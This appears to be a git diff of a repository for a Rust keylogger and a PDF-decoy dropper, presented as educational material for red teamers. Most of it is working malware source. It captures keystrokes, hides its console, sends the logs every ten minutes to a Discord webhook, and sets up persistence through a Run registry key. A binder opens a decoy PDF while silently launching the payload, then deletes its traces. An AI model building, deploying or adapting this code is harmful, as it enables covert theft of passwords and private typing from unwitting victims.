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It is intended to help red teamers, blue teamers, and cybersecurity learners understand the mechanics of keyloggers and stealth payload delivery techniques. **Do not run this on any system you do not own or have explicit permission to test. Always use isolated virtual machines or lab environments.** + +--- + +## 📚 Overview + +This repository contains a complete **Rust-based keylogger** and a **stealth delivery binder** simulating a real-world attack scenario. The purpose is to demonstrate how a seemingly harmless file (like a PDF) can be used to drop and execute a keylogger in the background. + +The project is split into two components: + +1. **Keylogger (`main.rs`)** + + - Captures keystrokes silently. + - Sends logs to a Discord webhook every 10 minutes. + - Hides its console window. + - Designed to simulate persistent, low-noise keylogging behavior. + +2. **Binder (`binder.rs`)** + - Bundles the compiled keylogger with a decoy PDF file. + - Executes both: the real PDF (decoy) and the keylogger (.scr). + - Deletes temporary files after execution to reduce footprint. + +--- + +## 📂 Project Structure + +Keylogger/ +├── src/ +│ ├── main.rs # Main keylogger logic +│ └── bin/ +│ └── binder.rs # PDF + SCR binder +├── assets/ +│ ├── resume.pdf # Decoy PDF +│ └── win_payload.scr # Keylogger executable (renamed) +├── config/ +│ └── webhook.url # Your Discord webhook URL (plaintext) +├── Cargo.toml +├── README.md +└── target/ # Cargo build output + +--- + +## ⚙️ Requirements + +- Rust (latest stable recommended) → [Install Rust](https://www.rust-lang.org/tools/install) +- Windows machine or VM +- Discord account for receiving webhook logs +- PDF file to use as decoy (already provided, named `sample.pdf` , in `assets` directory) + +--- + +## 🔧 Setup & Compilation + +### 1. Clone the Repo + +```bash +git clone https://github.com/yourusername/rust-keylogger.git +cd rust-keylogger +``` + +### 2. Set Up Your Webhook + +Inside the config/webhook.url directory, replace your webhook address (ex , Discord , Telegram , ...): + +```bash + https://discordapp.com/api/webhooks/ +``` + +The Rust code reads this file at compile time using: + +### 3. Compile the Keylogger Binary + +```bash +cargo build --release --bin keylogger +``` + +Rename the resulting file: + +```bash +mv target/release/keylogger.exe assets/win_payload.scr +``` diff --git a/assets/sample.pdf b/assets/sample.pdf new file mode 100644 index 0000000..4603bd3 Binary files /dev/null and b/assets/sample.pdf differ diff --git a/config/webhook.url b/config/webhook.url new file mode 100644 index 0000000..d79811c --- /dev/null +++ b/config/webhook.url @@ -0,0 +1 @@ +https://discordapp.com/api/webhooks/ \ No newline at end of file diff --git a/src/bin/binder.rs b/src/bin/binder.rs new file mode 100644 index 0000000..0d85b87 --- /dev/null +++ b/src/bin/binder.rs @@ -0,0 +1,79 @@ +use std::env::temp_dir; +use std::fs::{remove_file, File}; +use std::io::Write; +use std::process::Command; +use std::thread::sleep; +use std::time::Duration; + +// # Embeds the decoy PDF file directly into the compiled executable. +// The `include_bytes!` macro reads the entire contents of a file at compile time +// and stores it as a static byte array (`&[u8]`) inside the final program. +// This means the PDF file does not need to be distributed alongside the executable. +static PDF: &[u8] = include_bytes!("../../assets/sample.pdf"); + +// # Embeds the malicious payload (a screensaver file, .scr) into the executable. +// Similar to the PDF, this bundles the payload within the dropper program itself, +// making the entire package a single, self-contained file. +// Screensaver files (.scr) are executables and are often used as a disguise. +static SCR: &[u8] = include_bytes!("../../assets/win_payload.scr"); + +fn main() { + // # Get the path to the system's temporary directory. + // This is a common location for programs to store temporary files. + // Using this directory is less suspicious than writing to the current directory or a user's desktop. + let tmp = temp_dir(); + + // # Define the full path for the decoy PDF file within the temporary directory. + // The program will write the embedded PDF data to this location. + let pdf_path = tmp.join("sample.pdf"); + + // # Define the full path for the payload file within the temporary directory. + // A generic name like "scrn.scr" is chosen to be inconspicuous. + let scr_path = tmp.join("scrn.scr"); + + // # Write the embedded PDF data to the file system. + // This block creates a new file at `pdf_path`. If successful, it writes the + // entire byte array of the embedded PDF into this new file. + // This process is often called "dropping" the file. + if let Ok(mut file) = File::create(&pdf_path) { + let _ = file.write_all(PDF); + } + + // # Write the embedded payload data to the file system. + // This does the same as the block above, but for the malicious `.scr` file. + // After this step, both the decoy and the payload exist as actual files on the user's disk. + if let Ok(mut file) = File::create(&scr_path) { + let _ = file.write_all(SCR); + } + + // # Open the decoy PDF file using the system's default PDF viewer. + // This is the "sleight of hand" part of the program. By opening a legitimate-looking + // document, the user is distracted and believes the program has done what was expected. + // `Command::new("cmd").args(["/C", ...])` executes the path as if typed into the command prompt. + // Windows will automatically use the default application for `.pdf` files. + let _ = Command::new("cmd") + .args(["/C", &pdf_path.to_string_lossy()]) + .spawn(); + + // # Execute the malicious payload silently in the background. + // This command runs the `.scr` file. Since `.scr` files are executable, this launches the payload. + // Because it's launched with `spawn`, it runs as a separate, independent process. + // The user will not see a window for this process, making it appear silent. + let _ = Command::new("cmd") + .args(["/C", &scr_path.to_string_lossy()]) + .spawn(); + + // # Pause the dropper's execution for a short period. + // This wait is crucial. It gives the newly spawned processes (the PDF viewer and the payload) + // enough time to start up and lock their respective files. If we tried to delete the files + // immediately, the operating system might still have them open, causing the deletion to fail. + sleep(Duration::from_secs(2)); + + // # Attempt to clean up by deleting the dropped files. + // This is the final step for the dropper. It removes the decoy PDF and the payload + // from the temporary directory to hide the evidence of its operation. + // If the payload is well-designed, it will have already copied itself elsewhere + // or will continue running from memory, so deleting the original `.scr` file doesn't stop it. + let _ = remove_file(&pdf_path); + let _ = remove_file(&scr_path); +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..2959d8f --- /dev/null +++ b/src/main.rs @@ -0,0 +1,208 @@ +use chrono::Local; +use reqwest::blocking::Client; +use std::env; +use std::fs; +use std::fs::OpenOptions; +use std::io::Write; +use std::path::PathBuf; +use std::time::{Duration, Instant}; +use windows::Win32::System::Console::GetConsoleWindow; +use windows::Win32::UI::Input::KeyboardAndMouse::*; +use windows::Win32::UI::WindowsAndMessaging::{ShowWindow, SW_HIDE}; +use winreg::enums::*; +use winreg::RegKey; + +// The contents of the file are read at COMPILE TIME and put here as a string +const WEBHOOK_URL: &str = include_str!("../config/webhook.url"); +const LOG_PATH: &str = "C:\\Users\\Public\\logrust.txt"; + +/// # Checks if the Caps Lock key is toggled on. +/// +/// This function uses the `GetKeyState` Windows API function to determine the toggle state +/// of the Caps Lock key. It's essential for correctly interpreting the case of alphabetic characters. +/// The result is a boolean `true` if Caps Lock is active, and `false` otherwise. +/// The `unsafe` block is required because this function calls directly into the Windows OS API, +/// which Rust cannot guarantee the safety of. +fn is_capslock_on() -> bool { + unsafe { GetKeyState(VK_CAPITAL.0 as i32) & 0x0001 != 0 } +} + +/// # Checks if a specific virtual key is currently being pressed. +/// +/// This function utilizes the `GetAsyncKeyState` Windows API function to get the real-time +/// state of any given key on the keyboard. It checks the most significant bit of the return value +/// to see if the key is down. This is crucial for detecting key presses as they happen. +/// The `unsafe` block is necessary for the direct OS API call. +fn is_key_pressed(vk: i32) -> bool { + let state = unsafe { GetAsyncKeyState(vk) }; + state & (0x8000u16 as i16) != 0 +} + +/// # Appends a given string (representing a key press) to the log file. +/// +/// This function takes the captured keystroke and writes it to the end of the file +/// specified by `LOG_PATH`. It uses `OpenOptions` to ensure the file is created if it +/// doesn't exist (`create(true)`) and that new data is appended without overwriting +/// existing content (`append(true)`). +fn log_to_file(key: &str) { + if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(LOG_PATH) { + let _ = file.write_all(key.as_bytes()); + } +} + +/// # Reads the log file and sends its contents to a Discord webhook. +/// +/// This function is responsible for exfiltrating the captured keystrokes. +/// It first reads the entire content of the log file into a string. +/// If the file is not empty, it formats the content into a message that includes a timestamp +/// and then sends this data as an HTTP POST request to the specified Discord webhook URL. +/// After successfully sending, it clears the log file to prevent sending the same data repeatedly. +fn send_file_to_discord(path: &str) { + if let Ok(content) = fs::read_to_string(path) { + if !content.is_empty() { + // Gets the current time to timestamp the log dump. + let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string(); + // Formats the message body for the Discord webhook. + let body = format!("📥 Keystroke dump at {}:\n```{}```", timestamp, content); + + // Creates a new HTTP client and sends the data as a form payload. + let _ = Client::new() + .post(WEBHOOK_URL) + .form(&[("content", &body)]) + .send(); + + // Wipes the log file by opening it in write mode and truncating it to zero bytes. + // This ensures the next log dump will only contain new keystrokes. + let _ = OpenOptions::new().write(true).truncate(true).open(path); + } + } +} + +/// # Sends an initial notification to the webhook when the keylogger starts. +/// +/// This function sends a simple message to the Discord webhook to confirm that the +/// keylogger has been successfully executed on the target machine. It includes a +/// timestamp to record the start time. +fn send_initial_ping() { + let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string(); + let msg = format!("🟢 Keylogger started at {}", timestamp); + let _ = Client::new() + .post(WEBHOOK_URL) + .form(&[("content", &msg)]) + .send(); +} + +/// # Main function and the core logic loop of the keylogger. +fn main() { + // Immediately notify the webhook that the program has started. + send_initial_ping(); + // Record the current time to track when the last log file was sent. + let mut last_sent = Instant::now(); + + // Hide the console window to make the keylogger less conspicuous. + // `GetConsoleWindow` gets a handle to the program's console window. + // `ShowWindow` with `SW_HIDE` makes it invisible to the user. + unsafe { + let hwnd = GetConsoleWindow(); + ShowWindow(hwnd, SW_HIDE); + } + + // Initialize an array to track the state of each key (pressed or not pressed). + // This prevents logging a single key press multiple times if the key is held down. + let mut last_state = [false; 256]; + + // The main loop that runs continuously to capture keystrokes. + loop { + // Iterate through all possible virtual key codes (from 8 to 255). + for vk in 8..256 { + let index = vk as usize; + + // Check if a key is currently pressed AND was not pressed in the previous check. + // This logic ensures we only log the key once when it's first pressed down. + if is_key_pressed(vk) && !last_state[index] { + let mut output = String::new(); + + // Check the state of SHIFT and CAPS LOCK to determine character case. + let is_shift = is_key_pressed(VK_SHIFT.0 as i32); + let is_caps = is_capslock_on(); + + // Handle standard alphabetic characters (A-Z). + // The range check covers both uppercase and lowercase ASCII values. + if (vk >= 65 && vk <= 90) || (vk >= 97 && vk <= 122) { + // The `^` (XOR) operator correctly determines the case. + // If either SHIFT or CAPS LOCK is active (but not both), the character is uppercase. + // Otherwise, it's lowercase. + let ch = if is_shift ^ is_caps { + vk as u8 as char + } else { + (vk as u8 as char).to_ascii_lowercase() + }; + output.push(ch); + } else { + // Handle special keys by matching their virtual key codes. + // Instead of logging the raw character, a descriptive string is used. + match vk { + k if k == VK_RETURN.0 as i32 => output.push_str("\n[ENTER]"), + k if k == VK_SPACE.0 as i32 => output.push(' '), + k if k == VK_BACK.0 as i32 => output.push_str("[BACK]"), + k if k == VK_TAB.0 as i32 => output.push_str("[TAB]"), + k if k == VK_ESCAPE.0 as i32 => output.push_str("[ESC]"), + k if k == VK_CONTROL.0 as i32 => output.push_str("[CTRL]"), + k if k == VK_MENU.0 as i32 => output.push_str("[ALT]"), + k if k == VK_DELETE.0 as i32 => output.push_str("[DEL]"), + // Ignore any other keys that are not explicitly handled. + _ => {} + } + } + + // If a key was successfully translated into a string, log it to the file. + if !output.is_empty() { + log_to_file(&output); + } + + // Update the state for this key to `true` (pressed) to prevent re-logging. + last_state[index] = true; + } else if !is_key_pressed(vk) { + // If the key is no longer pressed, reset its state to `false`. + // This makes it ready to be logged again the next time it's pressed. + last_state[index] = false; + } + } + + // Check if 600 seconds (10 minutes) have passed since the last data dump. + if last_sent.elapsed() >= Duration::from_secs(600) { + // If so, send the current log file to the webhook. + send_file_to_discord(LOG_PATH); + // Reset the timer to start counting for the next 10-minute interval. + last_sent = Instant::now(); + } + } +} + +/// # Configures the keylogger to run automatically on system startup. +/// +/// This function creates persistence by copying the executable to a less obvious +/// location and adding a Windows Registry key that ensures the program is +/// launched every time the user logs in. +fn add_to_startup() { + // Get the path to the user's AppData\Roaming directory, a common place for app data. + let appdata = env::var("APPDATA").unwrap_or_else(|_| "C:\\Users\\Public".to_string()); + // Define the new path and filename for the executable. Using a generic name + // like "win32ui.scr" can help it blend in. + let target_path = PathBuf::from(appdata).join("win32ui.scr"); + + // Copy the currently running executable to the new target path. + if let Ok(current_exe) = env::current_exe() { + let _ = fs::copy(¤t_exe, &target_path); + } + + // Access the Windows Registry key responsible for running programs on startup for the current user. + if let Ok(hkcu) = RegKey::predef(HKEY_CURRENT_USER).open_subkey_with_flags( + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", + KEY_WRITE, + ) { + // Create a new value in the "Run" key. The name can be anything, but "Win32UI" + // is used here. The value is the full path to the copied executable. + let _ = hkcu.set_value("Win32UI", &target_path.to_string_lossy().to_string()); + } +}